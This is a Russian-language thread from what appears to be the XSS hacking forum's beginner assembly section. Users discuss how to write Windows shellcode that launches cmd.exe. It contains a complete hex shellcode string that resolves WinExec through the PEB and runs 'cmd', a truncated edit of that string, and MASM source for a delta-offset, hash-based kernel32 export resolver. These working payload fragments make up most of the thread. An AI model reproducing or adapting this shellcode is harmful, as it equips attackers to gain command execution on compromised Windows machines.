• XSS.stack #1 – первый литературный журнал от юзеров форума

Ассемблер Для Начинающих

Пожалуйста, обратите внимание, что пользователь заблокирован
Wolfomeo
Так а зачем вам именно assume :NOTHING ? Насколько я знаю, в Масм это делают после конструкции вида assume edi:какая-то структура, чтобы разименовать (или как это грамотно называется), короче чтобы регистр снова был сам по себе а не указывал на структуру. В фасме же assume нет, соответственно можно просто использовать регистр дальше как обычно.
Могу ошибаться, так как не пишу на фасм.
 
Quake3
Да, спасибо, последние два сообщения можно потереть)) Просто в общем контексте что-то не вписывается в код, вот и подумал на эту штуку.
assume edi:NOTHING это, как сказали с васма, "просто очередная бесполезность masm'а"
 
Всем привет
Ребят подскажите, как написать шеллкод запуска cmd.exe(для xp-win7)
В инете куча вариаций, не пойму..
Я понимаю что можно написать программку на C++ с Винапи функцией CreateProcess/Winexec и дизасемблить? Но адрес фукнций же разный всегда..
А если я захочу добавить к cmd.exe параметры?
 
1. ищешь адрес kernel32.dll в PEB (либо 2й либо 3й по списку обычно)
2. ищешь адрес CreateProcessW
3. вызываешь ее с параметрами
 
сложно для меня писать на асме все эти поиски, подскажите можно ли поправить готовый шеллкод по свои нужды?
Код:
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9".
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0".
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72".
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47".
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72".
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14".
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53".
    "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51".
    "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45".
    "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54\x24\x20\x57\xFF\xD0"
вот нашел шеллкод в инете, который якобы запускает cmd.exe и делает ExitProcess.
хочу сделать чтобы запускался cmd.exe с моими параметрами

я беру обрезаю шеллкод до
Код:
\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53\xFF\xD2\x68\x63\x6D\x64
где \x63\x6D\x64 - это cmd
и добавляю в конец в hex формате своим параметры.

но перестает работать, что я делаю не так.
 
Код:
.Const


.Code

start:
; Ищем текущий адрес в памяти
GETDELTA:
	Jmp NEXT
PREV:
	Pop Ebx
	Jmp END_GETDELTA
NEXT:
	Call PREV
END_GETDELTA:
	Mov Eax, Ebx; засовываем адресс в еax
	Mov Cx, (Offset END_GETDELTA - Offset MainShellcode); вычисляем дельту(разница между текущим адресом и адресом функции MainShellcode?)
	Neg Cx; меняем знак, т.к число отрицательное
	Add Ax, Cx ; ax= ax + cx(дельта)  = адрес функции MainShellcode?? почему просто не вызвать напрямую?
	Jmp Eax


GetAPIs Proc; ищем адрес функции WinExec в kernel32.dll
Local AddressFunctions:DWord
Local AddressOfNameOrdinals:DWord
Local AddressNames:DWord
Local NumberOfNames:DWord
Getting_PE_Header:
Mov Edi, Esi;Kernel32 imagebase
Mov Eax, [Esi].IMAGE_DOS_HEADER.e_lfanew
Add Esi, Eax;Esi-->PE Header Edi-->MZ Header
Getting_Export_Table:
Mov Eax, [Esi].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
Add Eax, Edi
Mov Esi, Eax
Getting_Arrays:
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
Add Eax, Edi
Mov AddressFunctions, Eax;the first array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
Add Eax, Edi
Mov AddressOfNameOrdinals, Eax;the second array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNames
Add Eax, Edi
Mov AddressNames, Eax;the third array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.NumberOfNames
Mov NumberOfNames, Eax;the number of APIs
Push Esi
Mov Esi, AddressNames
Xor Ecx, Ecx
GetTheAPIs:
Lodsd
Push Esi
Lea Esi, [Eax + Edi];RVA + imagebase = VA
Xor Edx,Edx
Xor Eax,Eax
Checksum_Calc:
Lodsb
Test Al, Al;Avoid the null byte in Cmp Eax,0
Jz CheckFunction
IMul Eax, Edx
Xor Edx,Eax
Inc Edx
Jmp Checksum_Calc
CheckFunction:
Pop Esi
Xor Eax, Eax;The index of this API
Cmp Edx, WinExec
Jz FoundAddress
Xor Eax, Eax
Inc Ecx
Cmp Ecx, NumberOfNames
Jz EndFunc
Jmp GetTheAPIs
FoundAddress:
Mov Edx, Esi;save it temporary in edx
Pop Esi;Esi --> PE Header
Push Ecx
Push Eax;save the index of the API
Mov Eax, AddressOfNameOrdinals
Movzx Ecx, Word Ptr [Eax + Ecx * 2]
Mov Eax, AddressFunctions
Mov Eax, DWord Ptr [Eax + Ecx * 4]
Add Eax, Edi
Pop Ecx;Get The Index of the API
Mov [Ebx + Ecx * 4], Eax
Pop Ecx
Inc Ecx
Push Esi
Mov Esi, Edx
Jmp GetTheAPIs
EndFunc:
Mov Esi, Edi
Ret
GetAPIs EndP

MainShellcode Proc
Xor Ecx, Ecx
Add Ecx, 30H
Mov Eax, DWord Ptr Fs:[Ecx]
Mov Eax, DWord Ptr [Eax + 0CH]  ; тут как то ищем адрес kernel32
Mov Ecx, DWord Ptr [Eax + 1CH]
Mov Ecx, DWord Ptr [Ecx]
Mov Esi, DWord Ptr [Ecx + 8H]
;-----------------------------------------
;Getting APIs
;-----------------------------------------
Lea Ebx, LoadLibraryA
Call GetAPIs ; берем апи Winexec

Теперьямогупросто Call WinExecделать ?
Ret
MainShellcode EndP
End start

Почитал стать, т.е это будет мой шеллкод? Чтото если перевести в хекс, то больше чем аналоги из инета.
 
Можно, конечно, для начала скомпилировать листинг, а потом уже получившийся бинарь переводить в хекс - будет меньше. Если претензии к размеру непосредственно получившегося бинаря - уже другое дело; тогда нужно отсылать к гуглу с запросом "shellcode writing windows". Да и сам ассемблер(вообще) и данная тема(в частности) не терпит пробелов в знаниях, так что нельзя просто дописать к 'cmd.exe' свои параметры.

P.S. основы шеллкодинга для новичков неплохо(вроде) КК описывал в своих книгах что-то там про комп. вирусы(их 2е; не помню в какой, возможно в обеих).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх